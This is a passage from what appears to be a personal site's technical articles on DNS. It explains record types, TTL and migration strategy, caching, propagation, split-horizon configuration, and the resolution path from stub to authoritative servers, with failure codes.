**Why this constraint exists:** When a resolver encounters a CNAME, it restarts the query using the target name. If other records existed at the same name, the resolver couldn't determine whether to follow the CNAME or return the other records. The exclusivity rule eliminates this ambiguity.

**Workarounds for apex aliasing:**

| Solution               | Mechanism                                                       | Trade-off                                        |
| ---------------------- | --------------------------------------------------------------- | ------------------------------------------------ |
| **ALIAS/ANAME**        | Provider resolves CNAME server-side, returns synthesized A/AAAA | Geo-routing based on server location, not client |
| **CNAME flattening**   | Same as ALIAS, Cloudflare terminology                           | Adds latency to authoritative responses          |
| **Multiple A records** | Manually replicate target's IPs                                 | Must update when target changes                  |

Cloudflare's CNAME flattening and Route 53's Alias records work by resolving the CNAME chain at query time and returning the resulting A/AAAA records directly. The limitation: location-dependent responses (GeoDNS) will be based on the authoritative server's location, not the end user's resolver.

### PTR Records

PTR (Pointer) records provide reverse DNS—mapping IP addresses to hostnames. The address is encoded in reverse order under a special domain:

- IPv4: `192.0.2.5` → `5.2.0.192.in-addr.arpa`
- IPv6: Uses `ip6.arpa` with nibbles (4-bit values) reversed

**Why reverse order?** DNS is hierarchical from right to left (`com` → `example` → `api`). IP addresses are hierarchical from left to right (network → host). Reversing the IP aligns with DNS delegation—the `/8` network owner controls `192.in-addr.arpa` and can delegate `/16` blocks.

**Operational impact:** Many mail servers reject connections from IPs without valid PTR records or where forward and reverse DNS don't match. Cloud providers typically manage PTR records for their IP ranges; you must request updates through their interface.

## Zone Delegation Records

### NS Records

NS (Name Server) records identify the authoritative DNS servers for a zone. They serve two distinct purposes:

1. **At zone apex:** Declare which servers are authoritative for this zone
2. **At delegation points:** Direct resolvers to child zone nameservers

**The delegation distinction:** NS records in the parent zone (e.g., `.com` zone containing `example.com NS`) are not authoritative—they're "delegation hints." The authoritative NS records are those served by the zone's own nameservers.

**Glue records** solve a circular dependency: if `ns1.example.com` is the nameserver for `example.com`, you'd need to resolve `example.com` to find `ns1.example.com`. Glue records—A/AAAA records embedded in the parent zone's delegation—break this cycle.

Per RFC 9471, glue is required when nameservers are "in-bailiwick" (within or below the delegated zone). The IP addresses in glue must match the authoritative A/AAAA records for those nameservers.

```dns title="Delegation with glue records in parent zone"
; In the .com zone (parent)
example.com.        172800  IN  NS  ns1.example.com.
example.com.        172800  IN  NS  ns2.example.com.
ns1.example.com.    172800  IN  A   192.0.2.1
ns2.example.com.    172800  IN  A   192.0.2.2
```

### SOA Records

Every DNS zone must have exactly one SOA (Start of Authority) record at the zone apex. It contains zone metadata critical for replication and caching:

| Field   | Purpose                                 | Recommended Value         |
| ------- | --------------------------------------- | ------------------------- |
| MNAME   | Primary nameserver hostname             | Your primary NS           |
| RNAME   | Responsible person email (`@` → `.`)    | `hostmaster.example.com.` |
| Serial  | Zone version (must increment on change) | `YYYYMMDDnn` format       |
| Refresh | Secondary check interval                | 7200-86400s (2-24h)       |
| Retry   | Retry after failed refresh              | 1800-3600s (30m-1h)       |
| Expire  | Stop serving if no refresh              | 1209600-2419200s (14-28d) |
| Minimum | **Negative caching TTL**                | 3600s (1h)                |

**The MINIMUM field evolution:** Originally (RFC 1035), this specified the minimum TTL for all records in the zone. RFC 2308 redefined it exclusively for negative caching—the TTL for NXDOMAIN and NODATA responses. The field name is now misleading, but changing it would break compatibility.

```dns title="SOA record example"
example.com.  86400  IN  SOA  ns1.example.com. hostmaster.example.com. (
                          2024011501  ; Serial
                          7200        ; Refresh (2 hours)
                          3600        ; Retry (1 hour)
                          1209600     ; Expire (14 days)
                          3600        ; Minimum (negative cache TTL)
                          )
```

## Service Location Records

### MX Records

MX (Mail Exchange) records direct email delivery. The format includes a preference value:

```dns
example.com.    300    IN    MX    10    mail1.example.com.
example.com.    300    IN    MX    20    mail2.example.com.
```

**Priority semantics:** Lower preference values indicate higher priority. When multiple servers share the same preference, RFC 5321 requires the sending server to randomize selection for load distribution.

**Fallback behavior:** If a domain has no MX records, RFC 5321 specifies an implicit MX of preference 0 pointing to the domain itself (the A/AAAA records). However, if MX records exist, the domain's A/AAAA records must not be used for mail delivery.

**Critical constraint:** MX targets must resolve to A/AAAA records, never CNAMEs. Per RFC 2181 and RFC 5321, an MX pointing to a CNAME is invalid. Some implementations follow the CNAME anyway, but this behavior is non-standard and unreliable.

### SRV Records

SRV (Service) records generalize service discovery beyond email. RFC 2782 defines the format:

```dns
_sip._tcp.example.com.  300  IN  SRV  10 60 5060 sipserver.example.com.
;                                     ^  ^  ^    ^
;                                     |  |  |    +-- Target
;                                     |  |  +------- Port
;                                     |  +---------- Weight
;                                     +------------- Priority
```

**The underscore prefix:** Service and protocol labels start with `_` to avoid collisions with natural DNS labels. This was a design choice to keep SRV in the same namespace as other records.

**Weight-based load balancing:** Among servers with equal priority, weight determines selection probability. A server with weight 60 receives three times the traffic of weight 20. Weight 0 indicates a backup server—use only when all higher-weight servers are unavailable.

**Common uses:**

- Microsoft Active Directory (domain controller discovery)
- SIP/VoIP (`_sip._tcp`, `_sip._udp`)
- XMPP/Jabber (`_xmpp-client._tcp`)
- CalDAV/CardDAV (`_caldavs._tcp`, `_carddavs._tcp`)

**Target constraint:** Like MX, SRV targets must be A/AAAA records. A target of `.` (root) explicitly indicates the service is not available at this domain.

## Security and Verification Records

### TXT Records

TXT records store arbitrary text, originally intended for human-readable information. Today they're primarily used for machine-readable verification and policy:

**Size constraints:**

- Each string within a TXT record: 255 bytes maximum (RFC 1035)
- Multiple strings are concatenated without separators
- Total record size limited by DNS message size (512 bytes UDP, ~65KB with EDNS0)

```dns title="Multi-string TXT record"
example.com.  300  IN  TXT  "v=spf1 include:_spf.google.com " "include:amazonses.com -all"
```

The strings are concatenated to: `v=spf1 include:_spf.google.com include:amazonses.com -all`

**Email authentication records:**

| Record               | Location                          | Purpose                               |
| -------------------- | --------------------------------- | ------------------------------------- |
| **SPF** (RFC 7208)   | `example.com`                     | Authorized mail senders               |
| **DKIM** (RFC 6376)  | `selector._domainkey.example.com` | Public key for signature verification |
| **DMARC** (RFC 7489) | `_dmarc.example.com`              | Policy for SPF/DKIM failures          |

**SPF lookup limit:** SPF evaluation allows maximum 10 DNS lookups (including `include:`, `a:`, `mx:`, `redirect=`). Exceeding this limit causes a permanent error (`permerror`), potentially causing mail rejection. Flatten SPF records by replacing includes with direct IP ranges for high-volume domains.

**Domain verification:** Services like Google Workspace, Microsoft 365, and AWS SES use TXT records to verify domain ownership. The record typically contains a unique token: `google-site-verification=abc123...`

### CAA Records

CAA (Certification Authority Authorization) records specify which Certificate Authorities may issue certificates for a domain. RFC 8659 defines the format:

```dns title="CAA records restricting certificate issuance"
example.com.  300  IN  CAA  0  issue  "letsencrypt.org"
example.com.  300  IN  CAA  0  issuewild  "digicert.com"
example.com.  300  IN  CAA  0  iodef  "mailto:security@example.com"
```

**Property tags:**

- `issue`: CAs authorized to issue non-wildcard certificates
- `issuewild`: CAs authorized for wildcard certificates (if absent, `issue` applies)
- `iodef`: URL or email for violation reports

**CA/Browser Forum mandate:** Since September 2017, CAs must check CAA records before issuance. If CAA records exist and don't authorize the CA, issuance must fail.

**Inheritance:** CAA records at `example.com` apply to all subdomains unless overridden. To allow any CA for a subdomain while restricting the parent:

```dns
example.com.      300  IN  CAA  0  issue  "letsencrypt.org"
dev.example.com.  300  IN  CAA  0  issue  ";"  ; Allow any CA
```

The value `";"` explicitly permits any CA.

## TTL Strategy and Design Decisions

### TTL Mechanics

TTL is a 32-bit unsigned integer specifying how long a record may be cached, in seconds. Per RFC 1035: "TTL specifies the time interval that the resource record may be cached before the source of the information should again be consulted."

**Bounds (RFC 2181):**

- Minimum: 0 (use only for current transaction, do not cache)
- Maximum: 2147483647 (2³¹ - 1 seconds, ~68 years)
- Practical maximum: 604800 (7 days, per RFC 8767 recommendation)

**Zero TTL behavior:** The record may only be used for the transaction in progress and must not be cached. Use case: SOA records during zone transfers, or extremely volatile data like real-time load balancer targets.

### TTL by Scenario

| Scenario                  | Recommended TTL | Rationale                                                   |
| ------------------------- | --------------- | ----------------------------------------------------------- |
| **Static infrastructure** | 3600-86400s     | Reduces query load; changes are rare                        |
| **CDN/anycast endpoints** | 60-300s         | Enables health-check-driven failover                        |
| **Active migrations**     | 60-300s         | Minimizes stale cache during cutover                        |
| **Development/testing**   | 60s             | Rapid iteration without cache delays                        |
| **NS records**            | 86400-172800s   | Nameserver changes are rare, high TTL reduces root/TLD load |

**CDN provider behavior:** Cloudflare automatically sets 300s TTL for proxied records (orange cloud) and doesn't allow customization. This ensures their anycast routing changes propagate within 5 minutes.

**Failover and health checks:** AWS Route 53 recommends 60s or less for health-checked records. Lower TTL means faster failover but higher query volume—a 60s TTL generates 1440 queries per day per caching resolver versus 24 queries for 3600s.

### Migration TTL Strategy

DNS migrations require careful TTL management to minimize both stale cache impact and query load:

**Pre-migration (24-48 hours before):**

1. Lower TTL to 300-600s on records that will change
2. Wait for the old TTL to expire everywhere
3. Verify TTL change propagated: `dig +norecurse @8.8.8.8 example.com`

**During migration:**

4. Make the DNS change
5. Verify new records are served by authoritative servers
6. Monitor for traffic shift (may take up to new TTL duration)

**Post-migration (after verification):**

7. Restore higher TTL for normal operation
8. Keep lower TTL for 24-48 hours if rollback might be needed

**NS record migrations are special:** NS records often have 172800s (48h) TTL. You must lower TTL at both old and new DNS providers. Plan for 2-3 days minimum migration window.

```dns title="TTL lowering sequence for migration"
; Step 1: Lower TTL (wait 24h if original was 86400s)
api.example.com.    300    IN    A    192.0.2.10

; Step 2: After old TTL expires, change the record
api.example.com.    300    IN    A    198.51.100.20

; Step 3: After verification, restore normal TTL
api.example.com.    3600   IN    A    198.51.100.20
```

## Caching Behavior and Propagation

### Caching Layers

DNS responses pass through multiple caching layers, each with distinct behavior:

| Layer                  | Typical Cache Duration | Behavior                                                |
| ---------------------- | ---------------------- | ------------------------------------------------------- |
| **Authoritative**      | N/A (source of truth)  | Sets TTL in responses                                   |
| **Recursive resolver** | Honors TTL             | Decrements cached TTL; prefetches popular records       |
| **OS stub resolver**   | Seconds to minutes     | Platform-dependent; may have minimum TTL floor          |
| **Browser**            | 1-60 minutes           | Chrome: 1 minute; Firefox: respects TTL; Safari: varies |
| **Application**        | Varies                 | Some HTTP clients cache DNS independently               |

**Resolver TTL floors:** Some resolvers enforce minimum TTLs regardless of authoritative values. ISP resolvers may cache for longer than specified. Google Public DNS (8.8.8.8) generally respects TTLs but may serve stale data during authoritative outages (RFC 8767 serve-stale).

### Negative Caching

When a name doesn't exist (NXDOMAIN) or exists but has no records of the requested type (NODATA), resolvers cache this negative result. RFC 2308 specifies:

**Negative cache TTL = min(SOA.MINIMUM, SOA TTL)**

Authoritative servers must include the SOA record in the Authority section of negative responses. Without SOA, the response should not be cached—this prevents infinite negative caching loops.

**Operational impact:** If you delete a DNS record, resolvers may cache the NXDOMAIN response for up to SOA.MINIMUM seconds. Before deleting, consider:

1. Check your SOA.MINIMUM value
2. Lower it temporarily if the default is high
3. Or change the record to point elsewhere rather than deleting

```dns title="SOA MINIMUM affects negative caching"
; If SOA.MINIMUM is 3600 (1 hour):
; Deleting api.example.com means NXDOMAIN cached for up to 1 hour
; Resolver won't re-query until negative cache expires
```

### The "Propagation" Reality

"DNS propagation" suggests an active push mechanism—it doesn't exist. DNS changes take effect passively as caches expire.

What people mean by "propagation time":

1. **Maximum of all cache TTLs**: The old record's remaining TTL across all resolver caches
2. **Negative cache duration**: If the name was queried before creation (NXDOMAIN cached)
3. **Resolver refresh behavior**: Some resolvers batch updates or have minimum TTL floors

**Why changes seem slow:**

- You lowered TTL to 300s, but the old 86400s TTL hasn't expired everywhere
- ISP resolver ignores TTL and caches for 24 hours regardless
- Browser DNS cache retains old entry independent of system resolver
- Application-level DNS caching (Java, .NET) with separate TTL handling

**Verification approach:**

```bash
# Query authoritative server directly
dig @ns1.example.com api.example.com

# Check what recursive resolver has cached
dig +norecurse @8.8.8.8 api.example.com

# If +norecurse returns nothing, force a fresh lookup
dig @8.8.8.8 api.example.com
```

## Split-Horizon DNS

Split-horizon (split-brain) DNS returns different responses based on query source—typically internal vs. external networks.

### Use Cases

1. **Internal services**: `api.internal.example.com` resolves to `10.0.1.50` internally, NXDOMAIN externally
2. **Security**: Hide internal infrastructure from external reconnaissance
3. **Performance**: Internal clients reach services via private network, not hairpinning through public IPs
4. **Compliance**: Prevent internal DNS information from leaking externally

### Implementation Approaches

**Separate servers:**

```
                    ┌─────────────────┐
    Internal DNS ───│ 10.0.0.53       │─── Internal zone files
                    └─────────────────┘

                    ┌─────────────────┐
    External DNS ───│ 203.0.113.53    │─── External zone files
                    └─────────────────┘
```

**DNS views (BIND):**

```bind title="BIND split-horizon configuration" collapse={1-2, 15-20}
acl "internal" { 10.0.0.0/8; 172.16.0.0/12; 192.168.0.0/16; };

view "internal" {
    match-clients { internal; };
    zone "example.com" {
        type master;
        file "zones/example.com.internal";
    };
};

view "external" {
    match-clients { any; };
    zone "example.com" {
        type master;
        file "zones/example.com.external";
    };
};
```

### Operational Pitfalls

**Record drift:** Internal and external zone files can diverge. Automate zone generation from a single source of truth, or use infrastructure-as-code (Terraform, Pulumi) to manage both.

**VPN transitions:** A laptop connecting to VPN may have cached external IPs. Symptoms: internal services unreachable until DNS cache expires. Mitigation: shorter TTLs (300s) for records that differ between views.

**Debugging complexity:** "It works on my machine" gains a new dimension when DNS responses vary by network. Document which records differ and include source IP in troubleshooting procedures.

**DNSSEC challenges:** Each view must maintain consistent signatures. Zone signing must happen separately for each view's zone file, complicating key management.

## Operational Checklists

### Record Change Checklist

- [ ] Verify current TTL: `dig +noall +answer example.com`
- [ ] If TTL > 300s and change is time-sensitive, lower TTL and wait
- [ ] Make change on authoritative servers
- [ ] Verify authoritative response: `dig @ns1.example.com example.com`
- [ ] Verify recursive resolver sees change: `dig @8.8.8.8 example.com`
- [ ] For critical changes, check multiple public resolvers (8.8.8.8, 1.1.1.1, 9.9.9.9)
- [ ] Restore normal TTL after verification period

### New Domain Setup Checklist

- [ ] NS records delegated at registrar (match authoritative NS records)
- [ ] Glue records present if nameservers are in-bailiwick
- [ ] SOA record with appropriate MINIMUM for negative caching (typically 3600s)
- [ ] A/AAAA records for web traffic
- [ ] MX records pointing to A/AAAA targets (not CNAMEs)
- [ ] SPF TXT record for email authentication
- [ ] DKIM TXT record(s) for each email provider
- [ ] DMARC TXT record with policy
- [ ] CAA records restricting certificate issuance

### Migration Checklist

- [ ] Document current records: `dig +noall +answer example.com ANY`
- [ ] Lower TTL to 300s on changing records
- [ ] Wait for old TTL duration (check: `dig +norecurse @8.8.8.8`)
- [ ] For NS changes: lower TTL at both old and new providers
- [ ] Make DNS changes
- [ ] Verify from multiple locations/resolvers
- [ ] Monitor for traffic shift and errors
- [ ] Keep rollback option for 24-48 hours
- [ ] Restore normal TTLs after stabilization

## Conclusion

DNS record types encode specific semantics—A/AAAA for addresses, CNAME for aliases (with zone apex restrictions), NS/SOA for delegation, MX/SRV for service discovery, and TXT/CAA for verification and security policy. Each type has constraints that reflect protocol design decisions: CNAME exclusivity prevents ambiguity, MX/SRV targets must be A/AAAA to avoid resolution loops, and SOA.MINIMUM controls negative caching duration.

TTL strategy is a trade-off between cache efficiency and change velocity. Static infrastructure benefits from high TTLs (3600-86400s) that reduce resolver load. Failover scenarios require low TTLs (60-300s) to enable rapid traffic shifts. Migrations demand TTL lowering before the change, waiting for old caches to expire, then executing the change.

"DNS propagation" is cache expiry, not active distribution. Changes take effect as cached records reach TTL zero across the resolver hierarchy. When changes seem stuck, check: authoritative servers are returning new data, recursive resolvers have refreshed their cache, and client-side caches (OS, browser, application) have expired.

## Appendix

### Prerequisites

- DNS resolution fundamentals (see [DNS Resolution Path](../dns-resolution-path/README.md))
- Basic understanding of IP addressing (IPv4/IPv6)
- Familiarity with command-line DNS tools (`dig`, `nslookup`)

### Terminology

| Term                 | Definition                                                            |
| -------------------- | --------------------------------------------------------------------- |
| **RRSet**            | Resource Record Set—all records of the same name and type             |
| **Zone apex**        | The root of a DNS zone (e.g., `example.com` for the example.com zone) |
| **Glue record**      | A/AAAA record in parent zone for in-bailiwick nameservers             |
| **In-bailiwick**     | Nameserver hostname within or below the delegated zone                |
| **Negative caching** | Caching of NXDOMAIN/NODATA responses per SOA.MINIMUM                  |
| **Split-horizon**    | Returning different DNS responses based on query source               |
| **EDNS0**            | Extension Mechanisms for DNS; enables larger UDP responses            |

### Summary

- **A/AAAA** map hostnames to IPv4/IPv6 addresses; multiple records enable round-robin
- **CNAME** creates aliases but cannot coexist with other records; forbidden at zone apex
- **NS** records delegate zones; glue records break circular dependencies for in-bailiwick nameservers
- **SOA.MINIMUM** controls negative caching duration—check before deleting records
- **MX/SRV** targets must be A/AAAA, never CNAMEs; lower preference = higher priority
- **TXT** records support SPF, DKIM, DMARC; SPF has 10-lookup limit
- **CAA** restricts certificate issuance; mandatory CA check since September 2017
- **TTL strategy**: High for static (3600-86400s), low for failover (60-300s), temporarily low for migrations
- **Propagation = cache expiry**; lower TTL before changes, wait for old TTL to expire

### References

- [RFC 1035 - Domain Names: Implementation and Specification](https://www.rfc-editor.org/rfc/rfc1035) - Core record types, TTL definition
- [RFC 1034 - Domain Names: Concepts and Facilities](https://www.rfc-editor.org/rfc/rfc1034) - CNAME semantics, zone structure
- [RFC 2181 - Clarifications to the DNS Specification](https://datatracker.ietf.org/doc/html/rfc2181) - TTL bounds, RRSet consistency
- [RFC 2308 - Negative Caching of DNS Queries](https://datatracker.ietf.org/doc/html/rfc2308) - NXDOMAIN/NODATA caching, SOA.MINIMUM redefinition
- [RFC 1912 - Common DNS Operational and Configuration Errors](https://www.rfc-editor.org/rfc/rfc1912) - Best practices, SOA values
- [RFC 3596 - DNS Extensions to Support IP Version 6](https://datatracker.ietf.org/doc/html/rfc3596) - AAAA records
- [RFC 2782 - A DNS RR for specifying the location of services (SRV)](https://datatracker.ietf.org/doc/html/rfc2782) - SRV record format and semantics
- [RFC 5321 - Simple Mail Transfer Protocol](https://datatracker.ietf.org/doc/html/rfc5321) - MX record usage, implicit MX
- [RFC 8659 - DNS Certification Authority Authorization (CAA)](https://www.rfc-editor.org/rfc/rfc8659.html) - CAA record specification
- [RFC 9471 - DNS Glue Requirements in Referral Responses](https://datatracker.ietf.org/doc/rfc9471/) - Glue record requirements
- [RFC 7208 - Sender Policy Framework (SPF)](https://datatracker.ietf.org/doc/html/rfc7208) - SPF TXT record format
- [RFC 6376 - DomainKeys Identified Mail (DKIM)](https://datatracker.ietf.org/doc/html/rfc6376) - DKIM TXT record format
- [RFC 7489 - Domain-based Message Authentication, Reporting, and Conformance (DMARC)](https://datatracker.ietf.org/doc/html/rfc7489) - DMARC policy
- [RFC 8767 - Serving Stale Data to Improve DNS Resiliency](https://datatracker.ietf.org/doc/html/rfc8767) - Stale serving, TTL cap recommendation
- [Cloudflare - CNAME Flattening](https://blog.cloudflare.com/introducing-cname-flattening-rfc-compliant-cnames-at-a-domains-root/) - Zone apex CNAME workaround
- [AWS Route 53 Best Practices](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/best-practices-dns.html) - TTL recommendations for failover
- [Julia Evans - DNS doesn't propagate](https://jvns.ca/blog/2021/12/06/dns-doesn-t-propagate/) - Propagation misconceptions explained

---

## DNS Resolution Path: Stub to Recursive to Authoritative

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/networking-protocols/dns-resolution-path
**Category:** Web Foundations / Networking & Protocols
**Description:** A DNS query traverses multiple actors before returning an answer: stub resolver, recursive resolver, and a chain of authoritative servers (root, TLD, domain). Each hop introduces latency, caching decisions, and potential failure modes. Understanding this path is essential for diagnosing resolution delays, debugging SERVFAIL responses, and architecting systems that depend on DNS availability.

# DNS Resolution Path: Stub to Recursive to Authoritative

A DNS query traverses multiple actors before returning an answer: stub resolver, recursive resolver, and a chain of authoritative servers (root, TLD, domain). Each hop introduces latency, caching decisions, and potential failure modes. Understanding this path is essential for diagnosing resolution delays, debugging SERVFAIL responses, and architecting systems that depend on DNS availability.

<figure>

![End-to-end DNS resolution flow showing iterative queries from recursive resolver to authoritative chain.](./end-to-end-dns-resolution-flow-showing-iterative-queries-from-recursive-resolver.svg)

<figcaption>End-to-end DNS resolution flow showing iterative queries from recursive resolver to authoritative chain.</figcaption>
</figure>

## Abstract

DNS resolution is a hierarchical delegation system. The stub resolver on your machine forwards queries to a recursive resolver, which iteratively walks the namespace tree—root servers delegate to TLD servers, which delegate to authoritative servers for the target domain. Each response is cached according to its TTL (Time To Live), and subsequent queries for the same name hit cache until expiry.

Key mental model:

- **Stub**: Forwards queries, minimal caching, sets RD (Recursion Desired) flag
- **Recursive**: Performs iterative resolution, maintains authoritative cache, enforces TTLs
- **Authoritative**: Holds zone data, returns definitive answers or referrals
- **Caching**: Dominates real-world latency; a cached response returns in <1ms, uncached may take 100-400ms
- **Failure modes**: NXDOMAIN (domain doesn't exist), SERVFAIL (upstream failure), REFUSED (policy rejection), timeouts (network/server issues)

## DNS Actors and Their Roles

### Stub Resolver

The stub resolver is the DNS client library on your machine—`gethostbyname()`, `getaddrinfo()`, or the resolver in `/etc/resolv.conf`. Per RFC 1034 Section 5.3.1, a stub resolver "cannot perform full resolution itself; it depends on a recursive resolver."

**Behavior:**

- Sets the RD (Recursion Desired) flag in outgoing queries
- Forwards queries to configured recursive resolvers (typically 1-3 servers)
- Validates that RA (Recursion Available) is set in responses
- Maintains minimal cache (OS-dependent, typically seconds to minutes)

**Timeout behavior varies by platform:**

| Platform      | Default Timeout | Retries | Notes                                               |
| ------------- | --------------- | ------- | --------------------------------------------------- |
| Linux (glibc) | 5 seconds       | 2       | Configurable via `options timeout:N` in resolv.conf |
| macOS         | 5 seconds       | 2       | mDNSResponder adds complexity                       |
| Windows       | 1 second        | 2       | Per-server, then cycles                             |

The stub resolver is intentionally simple. It offloads complexity to the recursive resolver, which has the resources to cache, validate DNSSEC, and handle iterative resolution.

### Recursive Resolver

The recursive resolver (also called a full-service resolver or caching resolver) performs the actual work of walking the DNS tree. Per RFC 9499: "A server operating in recursive mode receives DNS queries and either responds from local cache or sends queries to other servers to get final answers."

**Key characteristics:**

- Maintains a cache of previously resolved records
- Performs iterative queries to authoritative servers
- Enforces TTLs and negative caching
- May validate DNSSEC signatures
- Implements rate limiting, prefetching, and serve-stale policies

**Design decision—why iterative, not recursive all the way down?**

RFC 1034 specifies that recursive resolvers use iterative queries to authoritative servers. The recursive resolver asks "where should I go next?" and follows referrals itself, rather than asking each server to do the full resolution. This design:

- **Optimizes caching**: The recursive resolver sees all intermediate referrals and caches them
- **Limits trust**: Authoritative servers only answer for their zones, not arbitrary queries
- **Reduces load on authoritative servers**: They don't need to implement recursive logic

Popular recursive resolvers include BIND, Unbound, PowerDNS Recursor, and public services like Google Public DNS (8.8.8.8), Cloudflare (1.1.1.1), and Quad9 (9.9.9.9).

### Authoritative Servers

Authoritative servers hold the definitive DNS records for zones they serve. They respond to queries with either:

1. **Authoritative answer**: AA (Authoritative Answer) flag set, contains the requested record
2. **Referral**: NS records pointing to child zone nameservers (for delegated subdomains)
3. **Negative response**: NXDOMAIN or NODATA, with SOA record in Authority section for negative caching

**The authoritative hierarchy:**

```
. (root)
├── com. (TLD)
│   └── example.com. (domain)
│       └── api.example.com. (subdomain)
└── org. (TLD)
    └── example.org.
```

Each level delegates to the next. Root servers know TLD servers; TLD servers know domain nameservers; domain nameservers know their subdomains.

**Root servers** are the entry point when the recursive resolver has no cached data. There are 13 logical root servers (A through M), operated by 12 independent organizations. As of 2024, over 1,700 physical instances exist worldwide, all using anycast for geographic distribution.

**TLD servers** handle generic TLDs (.com, .org, .net) and country-code TLDs (.uk, .de, .jp). They return referrals to the authoritative nameservers for second-level domains.

## Iterative Resolution: Step by Step

When a recursive resolver receives a query for `api.example.com` with an empty cache, it performs iterative resolution:

### Step 1: Root Priming

Before the first query, the resolver loads root hints—a file containing the names and IP addresses of root servers. RFC 9609 specifies the priming process:

1. Resolver sends: `QNAME=".", QTYPE=NS` to a randomly selected root server address
2. Root server responds with authoritative NS records for the root zone
3. Resolver caches these records, replacing the hints

This priming query ensures the resolver has accurate root server data, not stale hints.

### Step 2: Query the Root

```
Query:  api.example.com. IN A
From:   Recursive resolver
To:     Root server (e.g., 198.41.0.4, A-root)

Response:
  Header: RCODE=NOERROR, AA=0 (not authoritative for this name)
  Authority section:
    com.  172800  IN  NS  a.gtld-servers.net.
    com.  172800  IN  NS  b.gtld-servers.net.
    ...
  Additional section:
    a.gtld-servers.net.  172800  IN  A  192.5.6.30
    ...
```

The root server returns a referral—NS records for the `.com` TLD along with glue records (A/AAAA records for the nameservers themselves).

**Why glue records?** If `a.gtld-servers.net` is the nameserver for `.net`, you'd need to resolve `.net` to find `a.gtld-servers.net`, creating a circular dependency. Glue records break this cycle by embedding IP addresses directly in the referral.

### Step 3: Query the TLD

```
Query:  api.example.com. IN A
From:   Recursive resolver
To:     a.gtld-servers.net (192.5.6.30)

Response:
  Header: RCODE=NOERROR, AA=0
  Authority section:
    example.com.  172800  IN  NS  ns1.example.com.
    example.com.  172800  IN  NS  ns2.example.com.
  Additional section:
    ns1.example.com.  172800  IN  A  93.184.216.34
    ...
```

The TLD server returns another referral, pointing to the authoritative nameservers for `example.com`.

### Step 4: Query the Authoritative Server

```
Query:  api.example.com. IN A
From:   Recursive resolver
To:     ns1.example.com (93.184.216.34)

Response:
  Header: RCODE=NOERROR, AA=1 (authoritative)
  Answer section:
    api.example.com.  300  IN  A  93.184.216.50
```

The authoritative server returns the final answer with the AA flag set. The recursive resolver caches this record for 300 seconds (the TTL) and returns it to the stub resolver.

### Resolution Latency Breakdown

| Hop                       | Typical Latency | Notes                           |
| ------------------------- | --------------- | ------------------------------- |
| Stub → Recursive          | 1-50ms          | LAN or ISP network              |
| Cache lookup              | <1ms            | In-memory hash table            |
| Recursive → Root          | 10-30ms         | Anycast, well-distributed       |
| Recursive → TLD           | 10-50ms         | .com has many anycast instances |
| Recursive → Authoritative | 10-200ms        | Depends on server location      |
| **Total (uncached)**      | **50-400ms**    | Varies significantly            |
| **Total (cached)**        | **1-50ms**      | Cache hit at recursive          |

## Caching Layers and TTL Mechanics

### TTL Semantics

TTL (Time To Live) is a 32-bit unsigned integer specifying the maximum duration a record may be cached, in seconds. Per RFC 1035, TTL "specifies the time interval that the resource record may be cached before the source of the information should again be consulted."

**Key behaviors:**

- **Zero TTL**: Use only for the current transaction; do not cache
- **TTL countdown**: Cached records decrement TTL; at zero, the entry expires
- **TTL cap**: RFC 8767 recommends capping at 604,800 seconds (7 days) to limit stale data risk

**TTL at each layer:**

| Layer         | Behavior                                        | Typical Values             |
| ------------- | ----------------------------------------------- | -------------------------- |
| Authoritative | Sets TTL in zone file; value is constant        | 300-86400 seconds          |
| Recursive     | Caches with countdown; honors TTL from response | Respects authoritative TTL |
| Stub          | Minimal caching, OS-dependent                   | Seconds to minutes         |

### Negative Caching

Negative responses (NXDOMAIN, NODATA) are cached to reduce load on authoritative servers. RFC 2308 specifies that the negative cache TTL is:

```
Negative TTL = min(SOA.MINIMUM, SOA TTL)
```

Authoritative servers MUST include the SOA record in the Authority section of negative responses. Without it, the negative response SHOULD NOT be cached.

**Historical note:** The SOA MINIMUM field originally specified the minimum TTL for all zone records. RFC 2308 repurposed it specifically for negative caching.

### Resolution Failure Caching

RFC 9520 (December 2023) introduces mandatory caching of resolution failures—situations where no useful response was received (timeouts, SERVFAIL from all servers). This prevents "query storms" where failed authoritative servers receive 10x normal load from retrying resolvers.

**Distinction:**

- **NXDOMAIN/NODATA**: Not failures—the server provided a useful (negative) answer
- **Resolution failure**: No useful response received; cache to prevent retry floods

### Prefetching

Modern resolvers prefetch records before TTL expiry to eliminate cache-miss latency for popular domains:

| Resolver | Trigger Condition             | Eligibility              |
| -------- | ----------------------------- | ------------------------ |
| BIND     | 2 seconds remaining TTL       | Original TTL > 9 seconds |
| Unbound  | 10% of original TTL remaining | All records              |
| PowerDNS | Configurable percentage       | Popular domains          |

### Serve-Stale (RFC 8767)

When an authoritative server is unreachable, resolvers MAY serve expired cache data rather than returning SERVFAIL:

- Stale response TTL: 30 seconds (recommended)
- Maximum stale timer: Configurable upper bound on how long past-TTL data is served
- Resolver continues refresh attempts in background

This improves resilience during authoritative outages at the cost of potentially serving outdated data.

## Failure Modes and Response Codes

### RCODE Values

DNS responses include a 4-bit RCODE (Response Code) field. The primary values from RFC 1035:

| RCODE | Name     | Meaning                                           |
| ----- | -------- | ------------------------------------------------- |
| 0     | NOERROR  | Query succeeded (may or may not have answer data) |
| 1     | FORMERR  | Server couldn't parse the query                   |
| 2     | SERVFAIL | Server failed to complete the query               |
| 3     | NXDOMAIN | Domain does not exist                             |
| 4     | NOTIMP   | Query type not implemented                        |
| 5     | REFUSED  | Server refuses to answer (policy)                 |

### When Each Failure Occurs

**NXDOMAIN (Non-Existent Domain)**

The queried name does not exist anywhere in DNS. The authoritative server for the parent zone confirms non-existence.

```bash
$ dig nonexistent.example.com
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN
```

RFC 8020 clarifies NXDOMAIN behavior: if a resolver receives NXDOMAIN for `foo.example.com`, it MAY assume that `bar.foo.example.com` also doesn't exist (NXDOMAIN cut), reducing unnecessary queries.

**SERVFAIL (Server Failure)**

The recursive resolver couldn't complete resolution. Common causes:

- All authoritative servers timed out
- DNSSEC validation failed
- Lame delegation (NS records point to servers that don't serve the zone)
- Upstream server returned malformed response

SERVFAIL is the catch-all for "something went wrong." Debugging requires checking resolver logs.

**REFUSED**

The server refuses to answer based on policy:

- Query from unauthorized IP (ACL restriction)
- Rate limiting triggered
- Recursive query to authoritative-only server

**Timeout (no response)**

No RCODE—the query never received a response. Causes:

- Network connectivity issues
- Firewall blocking UDP/53 or TCP/53
- Server overloaded or crashed
- Anycast routing issues

